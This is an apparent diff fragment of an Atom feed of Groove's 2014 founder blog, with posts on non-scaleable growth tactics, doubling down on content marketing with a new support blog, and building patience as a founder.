+&lt;p&gt;&lt;img src=&quot;/attachments/blog/non-scaleable-growth-tactics/worth-it.png&quot; title=&quot;Worth It&quot; alt=&quot;Worth It&quot; /&gt;
+&lt;b&gt;Worth It&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;And now, with our new &lt;a href=&quot;http://www.groovehq.com/support&quot;&gt;customer support blog&lt;/a&gt;, I’m at it again, emailing just about everyone I know.&lt;/p&gt;
+
+&lt;p&gt;Len, who’s writing the support blog, is doing the same.&lt;/p&gt;
+
+&lt;p&gt;The early results look good, but they’re also stalling just about everything else that Len and I need to be doing on a day-to-day basis at Groove.&lt;/p&gt;
+
+&lt;p&gt;Still, we’re not going to slow down.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Content promotion is one of the most time-consuming and non-scaleable efforts we do, but the results speak for themselves.&lt;/p&gt;
+
+&lt;h3&gt;4) Community Engagement&lt;/h3&gt;
+
+&lt;p&gt;More than once, people have told me that they were surprised that I respond to every comment on this blog.&lt;/p&gt;
+
+&lt;p&gt;Sometimes it takes me a little while, but I think it’s important. When people take the time to read what we publish, and post a thoughtful comment about it, I can’t imagine not acknowledging that.&lt;/p&gt;
+
+&lt;p&gt;And more than that, it’s helped me build great relationships with some of the readers of this blog. Some of those commenters have turned into customers precisely &lt;em&gt;because&lt;/em&gt; I engage with them.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/non-scaleable-growth-tactics/value-of-engagement.png&quot; title=&quot;The Value of Engagement&quot; alt=&quot;The Value of Engagement&quot; /&gt;
+&lt;b&gt;The Value of Engagement&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;We get anywhere from 40 to 200 comments on any given post, so it can certainly be a time-consuming task.&lt;/p&gt;
+
+&lt;p&gt;If and when the blog grows and that number doubles or triples, I’m honestly not sure how I’ll possibly be able to keep up.&lt;/p&gt;
+
+&lt;p&gt;But for now, I’m not worrying about that.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; I’ve gotten massive value from engaging with the readers of this blog, and I suggest that every founder who blogs does the same.&lt;/p&gt;
+
+&lt;h3&gt;5) Onboarding/Nurturing&lt;/h3&gt;
+
+&lt;p&gt;A couple of weeks ago, James Altucher published — as always — &lt;a href=&quot;https://www.facebook.com/james.altucher/posts/10152285492485636&quot;&gt;a deep and introspective post&lt;/a&gt; about a entrepreneurs’ event that he went to.&lt;/p&gt;
+
+&lt;p&gt;In it, he mentions a point that &lt;a href=&quot;https://twitter.com/JoeyColeman&quot;&gt;Joey Coleman&lt;/a&gt; made in his talk:&lt;/p&gt;
+
+&lt;blockquote&gt;&lt;p&gt;Joey’s point was very simple: he had THE 100-day RULE.
+&lt;br&gt;&lt;br&gt;
+If you hand-hold the client for 100 days, that’s all you need to do. Then they are your client for life. FOR LIFE.&lt;/p&gt;&lt;/blockquote&gt;
+
+&lt;p&gt;As I read that, I couldn’t help but nod my head in agreement. We’ve found a similar trend to hold true at Groove; when we hold our customers’ hands for the first two months, they’re far, &lt;em&gt;far&lt;/em&gt; more likely to stay with us after that time.&lt;/p&gt;
+
+&lt;p&gt;So during the first two months of a customer’s time with us, it’s &lt;em&gt;everyone’s&lt;/em&gt; job to make that customer happy.&lt;/p&gt;
+
+&lt;p&gt;Now, that’s not to say that customers are forgotten about after that. Generally, after that time, we see support requests drop off naturally, so there’s less of a need for the all-hands-on-deck approach. But in the early days, it’s critical.&lt;/p&gt;
+
+&lt;p&gt;On top of our regular support, our developers will jump in and help with any technical questions, and I’ll almost always be involved in support during that time window.&lt;/p&gt;
+
+&lt;p&gt;Obviously, I wouldn’t be able to do that so easily if we quadrupled our customer base.&lt;/p&gt;
+
+&lt;p&gt;But for now, I’m thrilled to be able to.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Getting your customers to “wow†might be a time- and team-consuming effort, but until your product is established enough to speak for itself, there’s no way around it.&lt;/p&gt;
+
+&lt;h3&gt;6) Scrapping&lt;/h3&gt;
+
+&lt;p&gt;A while ago, I stumbled on this blog post:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/non-scaleable-growth-tactics/help-desk-comparison.png&quot; title=&quot;Help Desk Comparison&quot; alt=&quot;Help Desk Comparison&quot; /&gt;
+&lt;b&gt;Help Desk Comparison&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;In the post, Tyler put together a detailed comparison of Groove, Helpscout, Zendesk and Desk.&lt;/p&gt;
+
+&lt;p&gt;I was happy about the mention, and then I saw…&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/non-scaleable-growth-tactics/decision.png&quot; title=&quot;The Decision&quot; alt=&quot;The Decision&quot; /&gt;
+&lt;b&gt;The Decision&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Right away, I emailed Tyler.&lt;/p&gt;
+
+&lt;p&gt;Here’s the thing: his rundown and his decision were totally sharp and well-reasoned. I respected his decision to go with Help Scout, and I wasn’t emailing him just to change his mind.&lt;/p&gt;
+
+&lt;p&gt;I wanted to learn more about his experience with Groove, and what we could do better to start winning that battle.&lt;/p&gt;
+
+&lt;p&gt;We went back and forth for a bit, and I was grateful that Tyler was so open about sharing his thoughts. Fortunately, the bugs that cost us Tyler’s business the first time around had been fixed, so I asked him if he’d be willing to give us another chance.&lt;/p&gt;
+
+&lt;p&gt;A few weeks later, he published this update to the post:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/non-scaleable-growth-tactics/tyler-returns.png&quot; title=&quot;Tyler Returns&quot; alt=&quot;Tyler Returns&quot; /&gt;
+&lt;b&gt;Tyler Returns&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Is scrapping for every “one that got away†a scalable approach? Absolutely not. But it helped us win a happy customer early on, and to me, there’s no question that that’s worth it.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; When you’re an early-stage startup, you’ll lose a lot of customers because you don’t have everything worked out yet. When you do work things out, those lost customers might come back, and it’s worth fighting for every single one.&lt;/p&gt;
+
+&lt;h2&gt;How to Apply This to Your Business&lt;/h2&gt;
+
+&lt;p&gt;I’ve talked to a lot of early-stage founders who are struggling to get customers. Many of them are taking the “long view.†That is, trying to use acquisition strategies that they’ll be able to use when they have 500, 1,000, 5,000 or 20,000 customers.&lt;/p&gt;
+
+&lt;p&gt;The trouble is, this approach hardly ever works.&lt;/p&gt;
+
+&lt;p&gt;Startup growth isn’t as linear or neat as we’d like to think, and there are a lot of &lt;em&gt;very&lt;/em&gt; valuable things you can do early on that definitely won’t work later. And that’s okay, because there’s a good chance that &lt;em&gt;without&lt;/em&gt; those early battles, you won’t &lt;em&gt;get&lt;/em&gt; a later.&lt;/p&gt;
+
+&lt;p&gt;And while I can’t guarantee that the non-scaleable tactics that worked for us will work for you, I hope that you’ll try at least some of them.&lt;/p&gt;
+
+&lt;p&gt;Or at the very least, I hope that you’ll be convinced to give non-scaleable growth a shot.&lt;/p&gt;
+</content>
+<published>2014-09-25T00:00:00+00:00</published>
+<updated>2014-09-25T00:00:00+00:00</updated>
+</entry>
+<entry>
+<title>Why We’re Doubling Down on Content (Plus, a Big Announcement)</title>
+<link href='/blog/doubling-down-on-content' rel='alternate' type='text/html' />
+<id>tag:blog1.groovehq.com,2014-09-18:/blog/doubling-down-on-content</id>
+<content type='html'>&lt;p&gt;We’ve decided to make a big change to our marketing strategy. Here’s why, and how we’re going to do it…&lt;/p&gt;
+
+&lt;p&gt;I couldn’t believe it.&lt;/p&gt;
+
+&lt;p&gt;There we were, eight months after publishing our first post on this blog, and everything had changed.&lt;/p&gt;
+
+&lt;p&gt;The Groove team was on our weekly call, and we were reviewing the previous month’s numbers.&lt;/p&gt;
+
+&lt;p&gt;Now, we’re far from a success story, and as a founder, part of my job is never being satisfied with where we are, but it was unmistakable: things were looking pretty good.&lt;/p&gt;
+
+&lt;p&gt;And it was (almost) all thanks to this very blog.&lt;/p&gt;
+
+&lt;p&gt;To be sure, it wasn’t a “magic bullet.†There &lt;em&gt;is&lt;/em&gt; no magic bullet.&lt;/p&gt;
+
+&lt;p&gt;It was months and months of hard work, committing many hours each week to producing the very best content we possibly could. It was grueling, and it cost us a lot of opportunities to attack other growth strategies.&lt;/p&gt;
+
+&lt;p&gt;But it certainly paid off.&lt;/p&gt;
+
+&lt;p&gt;So when it came time to talk about how we were going to develop a strategy to meet our 12-month goals, one choice, among many, was obvious…&lt;/p&gt;
+
+&lt;h2&gt;Five Big Wins From Content Marketing&lt;/h2&gt;
+
+&lt;p&gt;I’ve said this before, but it’s worth noting for anyone thinking about their own business growth: content marketing has been, without a close second, our most effective strategy for growing Groove.&lt;/p&gt;
+
+&lt;p&gt;We’ve grown our:&lt;/p&gt;
+
+&lt;h3&gt;1) Traffic&lt;/h3&gt;
+
+&lt;p&gt;There’s no question that the blog has delivered huge traffic for us.&lt;/p&gt;
+
+&lt;p&gt;The numbers speak for themselves, and don’t really need much of an explanation. Here’s a look at our numbers back in April of last year, before we started taking blogging seriously:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/doubling-down-on-content/traffic-year-ago.png&quot; title=&quot;Traffic a year ago&quot; alt=&quot;Traffic a year ago&quot; /&gt;
+&lt;b&gt;Traffic a year ago&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;And again this April, a year later:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/doubling-down-on-content/traffic-now.png&quot; title=&quot;Traffic today&quot; alt=&quot;Traffic today&quot; /&gt;
+&lt;b&gt;Traffic today&lt;/b&gt;&lt;/p&gt;
+
+&lt;h3&gt;2) Thought Leadership&lt;/h3&gt;
+
+&lt;p&gt;When we started, virtually nobody knew who Groove was.&lt;/p&gt;
+
+&lt;p&gt;Now, I get almost daily emails with interview and speaking requests, and bloggers asking for info about Groove that they can feature in their content.&lt;/p&gt;
+
+&lt;p&gt;The thought leadership we’ve built through the blog has scored us many thousands of dollars of free PR.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/doubling-down-on-content/thought-leadership.png&quot; title=&quot;Thought Leadership&quot; alt=&quot;Thought Leadership&quot; /&gt;
+&lt;b&gt;Thought Leadership&lt;/b&gt;&lt;/p&gt;
+
+&lt;h3&gt;3) Trial Signups&lt;/h3&gt;
+
+&lt;p&gt;As our traffic grew, our trial signups grew, too.&lt;/p&gt;
+
+&lt;p&gt;Here’s a snapshot from a 7-day period last April:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/doubling-down-on-content/blog-signups-year-ago.png&quot; title=&quot;Signups a year ago&quot; alt=&quot;Signups a year ago&quot; /&gt;
+&lt;b&gt;Signups a year ago&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;And another one from a year later:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/doubling-down-on-content/blog-signups-now.png&quot; title=&quot;Signups today&quot; alt=&quot;Signups today&quot; /&gt;
+&lt;b&gt;Signups today&lt;/b&gt;&lt;/p&gt;
+
+&lt;h3&gt;4) Community&lt;/h3&gt;
+
+&lt;p&gt;The community that lives in our blog comments is an active and passionate one. We have folks from every corner of the world who come to participate on every post, sharing their own insights and reflections on whatever we’re discussing that week.&lt;/p&gt;
+
+&lt;p&gt;We’ve gotten some powerful advice from commenters that has given us new ideas for our own growth efforts.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/doubling-down-on-content/ideas-from-community.png&quot; title=&quot;Ideas from the community&quot; alt=&quot;Ideas from the community&quot; /&gt;
+&lt;b&gt;Ideas from the community&lt;/b&gt;&lt;/p&gt;
+
+&lt;h3&gt;5) Bottom Line&lt;/h3&gt;
+
+&lt;p&gt;The most important benefit of all: the blog has helped us go from $28,525 in monthly recurring revenue to more than $81,000 as of this week.&lt;/p&gt;
+
+&lt;p&gt;That’s nearly triple the revenue, and it’s all organic: no ads, no promotions, nothing but careful planning, hustle and persistence.&lt;/p&gt;
+
+&lt;h2&gt;Where This Blog Falls Short&lt;/h2&gt;
+
+&lt;p&gt;To be sure, this blog has been &lt;em&gt;amazing&lt;/em&gt; for our business.&lt;/p&gt;
+
+&lt;p&gt;And we have no plans &lt;em&gt;at all&lt;/em&gt; to take our foot off of the gas here.&lt;/p&gt;
+
+&lt;p&gt;But as we’ve grown the blog, one interesting challenge has become very clear.&lt;/p&gt;
+
+&lt;p&gt;Thousands of businesses now know about Groove.&lt;/p&gt;
+
+&lt;p&gt;That’s a very good thing.&lt;/p&gt;
+
+&lt;p&gt;Many of them, unfortunately, still don’t know what we do.&lt;/p&gt;
+
+&lt;p&gt;That’s not so good.&lt;/p&gt;
+
+&lt;p&gt;One recent blog post described us as a “CRM company:â€&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/doubling-down-on-content/ouch.png&quot; title=&quot;Ouch.&quot; alt=&quot;Ouch.&quot; /&gt;
+&lt;b&gt;Ouch.&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;When I read that, I couldn’t help but wince.&lt;/p&gt;
+
+&lt;p&gt;And while it’s always the responsibility of the writer to get their facts right, &lt;em&gt;I couldn’t blame them, because it was our fault.&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;We’ve done very little on this blog to get people to think of Groove as a customer support company.&lt;/p&gt;
+
+&lt;p&gt;So as we look to double down on content, the natural direction for us to go seems very clear.&lt;/p&gt;
+
+&lt;p&gt;Except…&lt;/p&gt;
+
+&lt;h2&gt;We’ve Tried This Before (And Failed)&lt;/h2&gt;
+
+&lt;p&gt;Back in April, we introduced the &lt;a href=&quot;http://www.groovehq.com/learn&quot;&gt;Customer Support Academy&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;For a while, we published weekly support “tips,†sharing the strategies we’ve used to deliver better customer support.&lt;/p&gt;
+
+&lt;p&gt;Eight weeks later, we had a whopping 500 subscribers.&lt;/p&gt;
+
+&lt;p&gt;But that’s not the bad part. If we only had a handful of subscribers, but &lt;em&gt;great&lt;/em&gt; content, I’d be fine with it, because I’d know that we have the experience and skills we need to grow our blog to success.&lt;/p&gt;
+
+&lt;p&gt;What made us abandon the blog after two months was a simple, but painful truth: we weren’t proud of it.&lt;/p&gt;
+
+&lt;p&gt;It was an inexcusable, shameful half-assed effort.&lt;/p&gt;
+
+&lt;p&gt;Our posts were short, shallow and less-than-interesting.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/doubling-down-on-content/not-good-enough.png&quot; title=&quot;Not good enough.&quot; alt=&quot;Not good enough.&quot; /&gt;
+&lt;b&gt;Not good enough.&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;The blog had no name or voice behind it. With the $100K blog, I didn’t have time to write a second blog, so the support blog was a sloppily cobbled together team effort from all of us.&lt;/p&gt;
+
+&lt;p&gt;We didn’t employ any of the &lt;a href=&quot;http://www.groovehq.com/blog/1000-subscribers&quot;&gt;influencer engagement strategies&lt;/a&gt; that we &lt;em&gt;knew&lt;/em&gt; worked.&lt;/p&gt;
+
+&lt;p&gt;Thinking back, the decision not to promote it was probably subconscious, as we weren’t creating content that we were excited to share with the world.&lt;/p&gt;
+
+&lt;p&gt;The blog had no heart, and the shitty results made that clear. We didn’t succeed because we didn’t &lt;em&gt;deserve&lt;/em&gt; to.&lt;/p&gt;
+
+&lt;p&gt;This blog is successful because each week, we work hard to earn our right into people’s inboxes, reading lists and Twitter feeds.&lt;/p&gt;
+
+&lt;p&gt;Looking back, there’s no way we could say the same about the Support Academy.&lt;/p&gt;
+
+&lt;h2&gt;This Time, We’re Swinging for the Fences.&lt;/h2&gt;
+
+&lt;p&gt;This new blog hasn’t been a few days in the making, or a few weeks.&lt;/p&gt;
+
+&lt;p&gt;We’ve been working for &lt;em&gt;months&lt;/em&gt; to put together actionable, useful and &lt;em&gt;interesting&lt;/em&gt; content to help startups and small businesses get better at customer support, and understand how to use it to grow their bottom line.&lt;/p&gt;
+
+&lt;p&gt;We’re investing our time and resources in high-quality content, art and promotion.&lt;/p&gt;
+
+&lt;p&gt;The new blog also has a new voice: Len, our new content marketer, is heading up the support blog.&lt;/p&gt;
+
+&lt;p&gt;It’s his baby, and he’s going to be giving the blog the time and attention that it deserves, but that I don’t have.&lt;/p&gt;
+
+&lt;p&gt;I’m thrilled with the content he’s put together, and I’m confident that it’s going to be a valuable resource for anyone interested in building better relationships with their customers.&lt;/p&gt;
+
+&lt;p&gt;We’ll be publishing new posts every Wednesday, and also trying new types of content that we haven’t explored on this blog. For one thing, we’ve got some &lt;em&gt;incredible&lt;/em&gt; guest content lined up from top entrepreneurs and support experts. If you’re interested in contributing, email Len (Len at groovehq.com).&lt;/p&gt;
+
+&lt;p&gt;I hope you’ll go read the first post, and let us know what you think in the comments.&lt;/p&gt;
+
+&lt;p&gt;We’ll be taking every piece of feedback seriously, and appreciate your help as we get this new effort off of the ground.&lt;/p&gt;
+
+&lt;p&gt;&lt;a href=&quot;http://www.groovehq.com/support/good-customer-support&quot; class=&quot;bb-image-link&quot;&gt;
+ &lt;img src=&quot;/attachments/blog/doubling-down-on-content/new-groove-blog.png&quot; alt=&quot;Introducing the NEW Groove Support Blog&quot; title=&quot;Introducing the NEW Groove Support Blog&quot;&gt;
+ &lt;b&gt;Introducing the NEW Groove Support Blog&lt;/b&gt;
+ &lt;span class=&quot;bb-image-link_text&quot;&gt;Click here to read “Three Principles For Getting Customers For Lifeâ€&lt;/span&gt;
+&lt;/a&gt;&lt;/p&gt;
+
+&lt;p&gt;To read the first post, click here: &lt;a href=&quot;http://www.groovehq.com/support/good-customer-support&quot;&gt;What Is Good Customer Service? Three Principles for Getting Customers for Life&lt;/a&gt;.&lt;/p&gt;
+
+&lt;h2&gt;How to Apply This to Your Business&lt;/h2&gt;
+
+&lt;p&gt;Will this work?&lt;/p&gt;
+
+&lt;p&gt;I have no idea.&lt;/p&gt;
+
+&lt;p&gt;But we’re not doing it half-heartedly this time. We’re taking the same approach that worked on this blog, and putting everything we’ve got behind building the best customer support blog on the planet.&lt;/p&gt;
+
+&lt;p&gt;If anything, I hope you’ll learn from our failure: if you’re going to try &lt;em&gt;anything&lt;/em&gt;, it makes no sense to half-ass it.&lt;/p&gt;
+
+&lt;p&gt;Releasing &lt;em&gt;anything&lt;/em&gt; that sucks doesn’t count as “testing.†The results you get from a poor effort tell you &lt;em&gt;nothing&lt;/em&gt; about the results you’d get if you did something right.&lt;/p&gt;
+
+&lt;p&gt;Go big or go home.&lt;/p&gt;
+</content>
+<published>2014-09-18T00:00:00+00:00</published>
+<updated>2014-09-18T00:00:00+00:00</updated>
+</entry>
+<entry>
+<title>How I’ve Become A Better Founder By Practicing Patience</title>
+<link href='/blog/patience' rel='alternate' type='text/html' />
+<id>tag:blog1.groovehq.com,2014-09-11:/blog/patience</id>
+<content type='html'>&lt;p&gt;“Move fast and break stuff†is a startup mantra. Here’s a different take on things…&lt;/p&gt;
+
+&lt;p&gt;“This doesn’t work.â€&lt;/p&gt;
+
+&lt;p&gt;The first email came a few minutes after we pushed it live.&lt;/p&gt;
+
+&lt;p&gt;“Looks like it’s broken for me.â€&lt;/p&gt;
+
+&lt;p&gt;“The widget isn’t showing up on our site.â€&lt;/p&gt;
+
+&lt;p&gt;“How do I turn it on?â€&lt;/p&gt;
+
+&lt;p&gt;Two years ago, we released an updated version of our (&lt;a href=&quot;http://www.groovehq.com/blog/discontinuing-live-chat&quot;&gt;now-discontinued&lt;/a&gt;) live chat app.&lt;/p&gt;
+
+&lt;p&gt;Within half an hour, our support mailbox was flooded with complaints about bugs and technical issues.&lt;/p&gt;
+
+&lt;p&gt;It wasn’t ready. And there was nobody to blame but me.&lt;/p&gt;
+
+&lt;p&gt;In the never-ending battle to balance our team’s time with the list of high-priority tasks we needed to accomplish, I had gotten impatient with our weeks-long effort to get this new version of live chat in our customers’ hands.&lt;/p&gt;
+
+&lt;p&gt;It seemed to work fine for me, and despite our developers’ recommendations that we spend more time testing, I made the call: “Let’s just get this out there.â€&lt;/p&gt;
+
+&lt;p&gt;The ensuing mess cost us more than $10,000 in lost productivity as we worked to answer emails and pulled the app down to fix it. Worse, it cost us the trust of customers who had taken a chance on a young startup, believing that we would reward their risk with a product that worked the way we said it would.&lt;/p&gt;
+
+&lt;p&gt;It was a painful but important lesson for me: patience is one of the most valuable skills to develop as an entrepreneur.&lt;/p&gt;
+
+&lt;h2&gt;The Power of Patience in Business&lt;/h2&gt;
+
+&lt;p&gt;There’s plenty of research that supports the value of patience.&lt;/p&gt;
+
+&lt;p&gt;A number of studies have shown that &lt;a href=&quot;http://forumblog.org/2014/08/patience-children-research-lifetime-outcomes/&quot;&gt;people who are patient tend to be more healthy, happy and successful&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;Anecdotally, I &lt;em&gt;know&lt;/em&gt; that impatience has a negative impact on my mood, and more importantly, my ability to make decisions.&lt;/p&gt;
+
+&lt;p&gt;When I’m feeling impatient, I’m more impulsive. If we’re building something that I’ve been antsy to release for weeks, and the only thing standing between us and going live is a bit of polish, it’s tempting to say “fuck it†and push the feature out.&lt;/p&gt;
+
+&lt;p&gt;Sometimes, that can be a good thing. We’ve used the lean approach to many of our releases in the past, and it’s helped us get early feedback and make fast improvements.&lt;/p&gt;
+
+&lt;p&gt;But it’s not always useful to “just ship it.â€&lt;/p&gt;
+
+&lt;p&gt;With marketing, you don’t get a second chance. We spend many hours on every blog post, every email, every piece of copy, to make them as good as we possibly can.&lt;/p&gt;
+
+&lt;p&gt;The same is often true with UX changes, especially those that impact the onboarding experience. New customers aren’t as forgiving as those who have been with you for years, and delivering a less-than-perfect experience can easily be the difference between retention and churn.&lt;/p&gt;
+
+&lt;p&gt;And as I recounted at the beginning of this post, shipping too early has hurt us &lt;em&gt;badly&lt;/em&gt; in the past.&lt;/p&gt;
+
+&lt;p&gt;Shipping something before it’s ready can be dangerous, but I’m human, and impatience can — and sometimes does — still get the best of me. It’s been a tough lesson to learn over the years, but I know that actively working on developing patience has made me a better entrepreneur.&lt;/p&gt;
+
+&lt;h2&gt;Four Ways I’ve Built — and Continue to Build — Patience&lt;/h2&gt;
+
+&lt;h3&gt;1) Being Honest About the Consequences&lt;/h3&gt;
+
+&lt;p&gt;I can’t count the number of times I’ve said: “We &lt;em&gt;need&lt;/em&gt; to get this out by Friday.â€&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/patience/tick-tock.jpg&quot; title=&quot;Tick Tock&quot; alt=&quot;Tick Tock&quot; /&gt;
+&lt;b&gt;Tick Tock&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;But of those times, I can only recall a few where I was able to follow that statement up with “because…â€&lt;/p&gt;
+
+&lt;p&gt;We often set arbitrary deadlines, and that can be a &lt;em&gt;very&lt;/em&gt; good thing for keeping ourselves motivated and productive.&lt;/p&gt;
+
+&lt;p&gt;But things aren’t always in our control, and external factors can cause us to miss those deadlines.&lt;/p&gt;
+
+&lt;p&gt;Here’s the thing: &lt;em&gt;I can’t think of a single time where missing a deadline has had a long-term, negative impact on our business. I can think of multiple times where shipping a buggy or unpolished feature &lt;strong&gt;has&lt;/strong&gt; hurt us. I’d much rather do the former than the latter.&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;I’m not advocating laziness, or a casual attitude toward deadlines. We hustle &lt;em&gt;hard&lt;/em&gt; every single day, and we work overtime to hit deadlines when we need to.&lt;/p&gt;
+
+&lt;p&gt;But there are times when a deadline isn’t absolute, and when we — and our customers — benefit from me being a little bit more patient and taking a bit more time to get things right.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Deadlines are a valuable tool for productivity, but if you’re not going to hit your deadline, be honest with yourself: are you better off shipping something that’s not quite done? In many cases, for us, that answer has been no.&lt;/p&gt;
+
+&lt;h3&gt;2) Taking Lessons From Other Areas of Life&lt;/h3&gt;
+
+&lt;p&gt;As a Rhode Island boy, I’ve been surfing since I was 15 years old.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/patience/patience-on-the-water.jpg&quot; title=&quot;Patience on the water&quot; alt=&quot;Patience on the water&quot; /&gt;
+&lt;b&gt;Patience on the water&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Funny thing about the ocean: it doesn’t give a damn about your schedule.&lt;/p&gt;
+
+&lt;p&gt;I’ve waited hours for a good wave.&lt;/p&gt;
+
+&lt;p&gt;I’ve waited hours and gone home disappointed that a good wave never came.&lt;/p&gt;
+
+&lt;p&gt;I’ve waited hours and been rewarded with 10 seconds of pure bliss that put me in an amazing mood for days.&lt;/p&gt;
+
+&lt;p&gt;When I was younger, surfing taught me patience, and that the wait for a &lt;em&gt;great&lt;/em&gt; wave pays off in spades.&lt;/p&gt;
+
+&lt;p&gt;As I got older and busier, I had less time to spend on the beach, and didn’t get to appreciate that constant, unavoidable reminder of the value of patience.&lt;/p&gt;
+
+&lt;p&gt;At Groove, I’ve forced myself to make a little more time for &lt;a href=&quot;http://www.groovehq.com/blog/staying-sane-working-solo&quot;&gt;play&lt;/a&gt;, and surfing is a big part of that.&lt;/p&gt;
+
+&lt;p&gt;And every time I’m out there at Ruggles, I re-learn a valuable lesson that I can instantly apply to my work.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Many hobbies take patience to learn and get good at, but even though we’ve developed that patience, we don’t think to apply it to our business lives. Being more aware of how patience helps you in all areas of life can help you become a more patient person at work, too.&lt;/p&gt;
+
+&lt;h3&gt;3) Not Measuring Against Someone Else’s Yardstick&lt;/h3&gt;
+
+&lt;p&gt;It’s &lt;em&gt;ridiculously&lt;/em&gt; easy to look at a competitor and think, “They released [Feature X] last week. We need to build it NOW!â€&lt;/p&gt;
+
+&lt;p&gt;There are multiple reasons why that attitude is a poor way to make product choices, but it’s a tough thought to avoid. I know I’m guilty of it.&lt;/p&gt;
+
+&lt;p&gt;There’s a quote that I love, though I’ve seen it attributed to so many different people that I have no idea who’s ultimately responsible for it: &lt;a href=&quot;https://twitter.com/home?status=%E2%80%9CNever%20compare%20your%20beginning%20to%20someone%20else%E2%80%99s%20middle%E2%80%9D%20http://www.groovehq.com/blog/patience%20via%20@groove&quot;&gt;“Never compare your beginning to someone else’s middleâ€&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;My natural impulse is to measure my progress against people who are more successful than I am, and who have been at this game for far longer.&lt;/p&gt;
+
+&lt;p&gt;And while that’s a great driver for motivation, it’s a terrible way to build patience.&lt;/p&gt;
+
+&lt;p&gt;We often see the end result (e.g., a competitor releasing a specific feature), but not the amount of work that went into achieving that result (the many weeks they spent building and testing that feature). Trying to shortcut our way to achieving that result is a great way to guarantee that we’ll never be as good as the people we’re competing against.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Don’t let other people’s progress make you lose sight of your own path. Comparing your beginning to someone else’s middle can be a quick path to losing patience and falling behind.&lt;/p&gt;
+
+&lt;h3&gt;4) Track — and Celebrate — Little Wins&lt;/h3&gt;
+
+&lt;p&gt;When you spend weeks working towards a goal, it’s easy to think of the results as binary: either we accomplished that goal, or we didn’t.&lt;/p&gt;
+
+&lt;p&gt;But that, for me, is a dangerous mindset, because if we don’t hit our deadline, then the binary perspective makes our whole project a failure, even if we had a number of smaller wins during the process.&lt;/p&gt;
+
+&lt;p&gt;I’ve found it immensely valuable to break down every project into smaller micro-goals to help us track those smaller wins.&lt;/p&gt;
+
+&lt;p&gt;For example, we finished our last &lt;a href=&quot;http://www.groovehq.com/blog/long-form-landing-page&quot;&gt;website redesign&lt;/a&gt; a few days late.&lt;/p&gt;
+
+&lt;p&gt;But along the way, we tracked a number of small wins that made our business stronger:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/patience/small-wins.png&quot; title=&quot;Small wins along the way&quot; alt=&quot;Small wins along the way&quot; /&gt;
+&lt;b&gt;Small wins along the way&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Having the progress be so visible makes it easier to be patient about the ultimate result, and seeing the little wins helps motivate our team to keep hustling.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Don’t think of your deadlines as pass/fail only. Remember to track and celebrate the little wins along the way. It’ll make you more patient and productive.&lt;/p&gt;
+
+&lt;h2&gt;How to Apply This to Your Business&lt;/h2&gt;
+
+&lt;p&gt;Patience is one of the toughest skills to develop, yet one of the most valuable assets I’ve built as an entrepreneur.&lt;/p&gt;
+
+&lt;p&gt;It’s not &lt;em&gt;always&lt;/em&gt; a tool you’ll want to use: there are situations where overtime, a bit of extra hustle, and putting pressure on the people around you to move faster &lt;em&gt;are&lt;/em&gt; necessary.&lt;/p&gt;
+
+&lt;p&gt;But for me, and for the sustainable growth of our business, I’ve found that those situations are better off as the exceptions, and not the rule.&lt;/p&gt;
+
+&lt;p&gt;I hope that these techniques help you develop the patience to wait when you need to, and to ultimately make better decisions for your business.&lt;/p&gt;
+</content>
+<published>2014-09-11T00:00:00+00:00</published>
+<updated>2014-09-11T00:00:00+00:00</updated>
+</entry>
+<entry>
+<title>The Power of Testimonials (And How We Get Great Ones)</title>
+<link href='/blog/testimonials' rel='alternate' type='text/html' />
+<id>tag:blog1.groovehq.com,2014-09-04:/blog/testimonials</id>
+<content type='html'>&lt;p&gt;One of the best ways to connect with prospects is by using stories from existing customers. Here’s how we do that…&lt;/p&gt;
+
